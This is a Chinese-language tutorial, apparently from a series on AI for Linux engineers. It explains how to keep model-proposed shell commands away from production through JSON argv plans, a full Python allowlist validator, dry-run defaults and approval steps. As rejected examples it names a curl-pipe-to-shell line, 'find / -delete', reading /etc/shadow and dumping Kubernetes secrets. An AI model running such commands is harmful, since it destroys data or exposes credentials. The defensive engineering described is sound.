《Linux 工程师的 AI 实战指南》03
本指南 AI 能力由 Chrono AI 提供
本篇目标：让 AI 提出诊断命令，但不能把文本直接变成生产操作。
“磁盘快满了，请提供清理命令。”
这是 Linux 场景里最常见、也最危险的一类提问。模型可能给出一条看起来很熟悉的 find ... -delete，也可能把变量、通配符和管道组合在一起。问题不在于它一定会错，而在于你无法仅凭语句流畅程度判断它是否适合当前机器。
我建议把模型权限重新定义为：它可以生成操作提案，但不能生成可直接执行的 Shell 文本。
一条命令从模型走到系统，至少要过四道门：结构门、策略门、预演门和审批门。
第一扇门：不要接收 Shell 字符串，只接收参数数组危险接口通常长这样：
pythonsubprocess.run(model_output, shell=True)只要模型输出中出现 ;、&&、管道、重定向或命令替换，Shell 就会把它解释成新的语义。即使最初任务只是 df -h，一段被污染的输出也可能追加其他操作。
更安全的命令契约应该是 JSON，把这段内容输入到 fixtures/command_plan.json 文件中：
json{
"purpose": "查看根分区空间使用情况",
"argv": ["df", "-h", "/"],
"risk": "read_only",
"evidence_needed": ["filesystem_usage"],
"timeout_seconds": 10
}程序使用：
pythonsubprocess.run(
plan["argv"],
shell=False,
capture_output=True,
text=True,
timeout=plan["timeout_seconds"],
check=False,
)argv 中每个元素都是一个明确参数，shell=False 避免 Shell 再解释字符串。这不能自动让命令变安全，但它消除了不必要的注入面。
第二扇门：命令必须通过本地策略，而不是让模型自己批准自己模型可以在 JSON 中声称 risk=read_only，但风险等级不能由它说了算。
配套脚本 command_guard.py 使用本地规则重新判断：
text允许的程序：df、du、journalctl、systemctl
systemctl 子命令：status、show、is-active
journalctl：禁止 -f，限制最大行数
路径：只允许 /var/log、/tmp/linux-ai-lab 和当前实验目录
超时：1—30 秒
默认模式：只打印计划，不执行下面这些计划会被直接拒绝：
json{"argv": ["bash", "-c", "curl example | sh"]}
{"argv": ["systemctl", "restart", "nginx"]}
{"argv": ["find", "/", "-delete"]}
{"argv": ["journalctl", "-f"]}拒绝原因不是“模型看起来可疑”，而是它违反了我们设置的的策略。
这就是策略与 Prompt 的区别：Prompt 是给模型的要求，策略是系统自己的决定。前者可能被忽略，后者必须在代码路径上强制执行。
完整的 command_guard.py 文件内容如下：
python#!/usr/bin/env python3
"""Validate and optionally run a tightly bounded read-only command plan."""
from __future__ import annotations
import argparse
import hashlib
import json
import re
import subprocess
import sys
import time
from pathlib import Path
from typing import Any
class PolicyError(ValueError):
"""Raised when a plan violates local execution policy."""
SHELL_META = re.compile(r"[;&|`$><\n\r]")
SERVICE_NAME = re.compile(r"^[A-Za-z0-9_.@-]+$")
READ_ONLY_PROGRAMS = {"df", "du", "journalctl", "systemctl"}
def canonical_plan(plan: dict[str, Any]) -> bytes:
return json.dumps(plan, ensure_ascii=False, sort_keys=True, separators=(",", ":")).encode("utf-8")
def validate_common(plan: dict[str, Any]) -> list[str]:
argv = plan.get("argv")
if not isinstance(plan.get("purpose"), str) or not plan["purpose"].strip():
raise PolicyError("purpose must be a non-empty string")
if not isinstance(argv, list) or not argv or not all(isinstance(x, str) and x for x in argv):
raise PolicyError("argv must be a non-empty list of strings")
if any(SHELL_META.search(arg) for arg in argv):
raise PolicyError("shell metacharacters are not allowed")
if "/" in argv[0] or argv[0] not in READ_ONLY_PROGRAMS:
raise PolicyError("program is not on the read-only allowlist")
timeout = plan.get("timeout_seconds", 10)
if not isinstance(timeout, int) or not 1 <= timeout <= 30:
raise PolicyError("timeout_seconds must be an integer from 1 to 30")
return argv
def validate_df(argv: list[str]) -> None:
allowed_flags = {"-h", "-P", "-T"}
for arg in argv[1:]:
if arg.startswith("-") and arg not in allowed_flags:
raise PolicyError(f"df flag is not allowed: {arg}")
def validate_du(argv: list[str]) -> None:
allowed_flags = {"-h", "-s", "-x", "--max-depth=1"}
roots = [Path.cwd().resolve(), Path("/var/log"), Path("/tmp/linux-ai-lab")]
for arg in argv[1:]:
if arg.startswith("-"):
if arg not in allowed_flags:
raise PolicyError(f"du flag is not allowed: {arg}")
continue
resolved = Path(arg).resolve()
if not any(resolved == root or root in resolved.parents for root in roots):
raise PolicyError(f"du path is outside approved roots: {arg}")
def validate_systemctl(argv: list[str]) -> None:
if len(argv) not in {2, 3} or argv[1] not in {"status", "show", "is-active"}:
raise PolicyError("systemctl is limited to status, show and is-active")
if len(argv) == 3 and not SERVICE_NAME.fullmatch(argv[2]):
raise PolicyError("invalid systemd unit name")
def validate_journalctl(argv: list[str]) -> None:
index = 1
while index < len(argv):
arg = argv[index]
if arg in {"-f", "--follow"}:
raise PolicyError("unbounded log following is not allowed")
if arg in {"--no-pager", "--output=json", "--output=short-iso"}:
index += 1
continue
if arg in {"-n", "-u"} and index + 1 < len(argv):
value = argv[index + 1]
if arg == "-n" and (not value.isdigit() or not 1 <= int(value) <= 500):
raise PolicyError("journalctl line limit must be from 1 to 500")
if arg == "-u" and not SERVICE_NAME.fullmatch(value):
raise PolicyError("invalid systemd unit name")
index += 2
continue
raise PolicyError(f"journalctl argument is not allowed: {arg}")
def validate_plan(plan: dict[str, Any]) -> list[str]:
argv = validate_common(plan)
validators = {
"df": validate_df,
"du": validate_du,
"journalctl": validate_journalctl,
"systemctl": validate_systemctl,
}
validators[argv[0]](argv)
return argv
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--plan", type=Path, required=True)
parser.add_argument("--execute-read-only", action="store_true")
args = parser.parse_args()
try:
plan = json.loads(args.plan.read_text(encoding="utf-8"))
if not isinstance(plan, dict):
raise PolicyError("plan must be a JSON object")
argv = validate_plan(plan)
except (OSError, json.JSONDecodeError, PolicyError) as exc:
print(f"DECISION: DENY\nREASON: {exc}", file=sys.stderr)
return 1
plan_id = hashlib.sha256(canonical_plan(plan)).hexdigest()[:16]
print(f"PLAN_ID: {plan_id}")
print("DECISION: ALLOW_READ_ONLY")
print(f"COMMAND: {argv!r}")
if not args.execute_read_only:
print("MODE: DRY_RUN")
print("No command was executed.")
return 0
started = time.monotonic()
try:
result = subprocess.run(
argv,
shell=False,
capture_output=True,
text=True,
timeout=plan.get("timeout_seconds", 10),
check=False,
)
except (OSError, subprocess.TimeoutExpired) as exc:
print(f"EXECUTION_ERROR: {exc}", file=sys.stderr)
return 1
elapsed_ms = int((time.monotonic() - started) * 1000)
print("MODE: EXECUTE_READ_ONLY")
print(f"EXIT_CODE: {result.returncode}")
print(f"ELAPSED_MS: {elapsed_ms}")
print("STDOUT:")
print(result.stdout[:8_000].rstrip())
if result.stderr:
print("STDERR:", file=sys.stderr)
print(result.stderr[:2_000].rstrip(), file=sys.stderr)
return 0 if result.returncode == 0 else 1
if __name__ == "__main__":
raise SystemExit(main())运行配套样例：
bashpython scripts/command_guard.py \
--plan fixtures/command_plan.json默认输出：
textPLAN_ID: 7c2d...
DECISION: ALLOW_READ_ONLY
COMMAND: ['df', '-h', '/']
MODE: DRY_RUN
No command was executed.
执行计划只有显式增加 --execute-read-only，程序才会执行已通过策略的只读命令：
bashpython scripts/command_guard.py \
--plan fixtures/command_plan.json \
--execute-read-only
执行命令预期结果中同时记录退出码、标准输出摘要和耗时。输出过长时会截断，防止一次命令把大量系统信息带入后续 Prompt。
这里的 dry-run 不是在模拟任意 Linux 命令。很多命令没有真正的预演模式。我们做的是更基础的事：在执行器入口处默认不执行，只展示经过规范化的计划。
如果是 Ansible，则可以进一步使用 --check 与 --diff；但要注意，并非所有模块都完整支持 check mode，包含前序注册变量、异步任务或自定义命令时尤其需要单独验证。
生产环境中的操作，可以先按影响分为三档：
审批时不能只展示一句“是否同意”。至少应展示：
- 规范化后的命令与参数；
- 目标主机、命名空间或服务；
- 为什么要执行；
- 证据来自哪里；
- 预计影响范围；
- 验证方式；
- 回退动作；
- 计划唯一 ID 与有效期。
否则，人工审批只是一个形式化按钮，并没有真正提升安全性。
cat /etc/shadow 不修改系统，却是高风险操作。env、ps e、kubectl get secret -o yaml 也可能暴露凭据。
因此“只读”只能说明它不改变状态，不能说明数据可以自由流动。命令策略必须同时判断：
text动作风险 + 数据敏感度 + 执行身份 + 目标环境例如，读取公开测试日志可以是 R0；读取生产认证日志可能需要审批；读取 Secret 则应由策略直接禁止进入模型链路。
仅仅禁止 rm -rf 没有意义。删除文件还有 find -delete、xargs rm、Python、Perl、重定向覆盖等许多表达方式。
生产执行器应该采用 allowlist：只开放一小组业务需要的工具，每个工具都有固定参数 Schema、边界和超时。需要新能力时，通过代码评审增加一个工具，而不是临时放开任意 Shell。
这也是后面 Agent 文章的核心：Agent 得到的不是一个 root shell，而是一组很窄、可测试、可审计的函数。
- 运行正常的
df -h / 计划，确认默认不执行； - 加入
--execute-read-only，核对退出码和输出； - 把
argv 改成 systemctl restart nginx，确认策略拒绝； - 把命令改成
journalctl -f，确认无限跟随被拒绝； - 为你自己的环境设计一条只读工具规则，并写出目标、参数上限和敏感数据边界。
下一篇，我们不再让模型直接面对几千行日志，而是先把 journalctl 输出整理成可验证、可脱敏、可编号的证据包。
魏文第｜企业 AI 落地 北京时序折叠科技有限公司Chrono AI：面向企业场景的模型与 API 能力。 ChronoOps：把 AI 建议接入审批、执行、审计与回退闭环。 ChronoStudio：面向公众号、小红书等内容的智能排版工具。
由 Chrono Studio 排版 · studio.chrono.red
